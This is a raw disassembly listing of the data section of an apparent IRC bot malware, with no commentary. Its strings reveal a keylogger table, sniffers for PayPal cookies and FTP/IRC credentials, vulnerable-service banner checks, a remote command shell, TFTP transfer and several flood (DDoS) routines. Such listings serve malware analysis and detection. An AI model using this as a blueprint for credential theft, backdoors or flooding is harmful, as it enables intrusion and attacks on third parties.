sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 2 dup(0) db 0 byte_4355E1 db 3 dup(0) ; DATA XREF: Themida_:005476A6o ; Themida_:0054F3BFo dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset aS1zH8m ; DATA XREF: ___:00434EA8o ; "S1Z( H8¬>" off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset loc_544F41+1 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 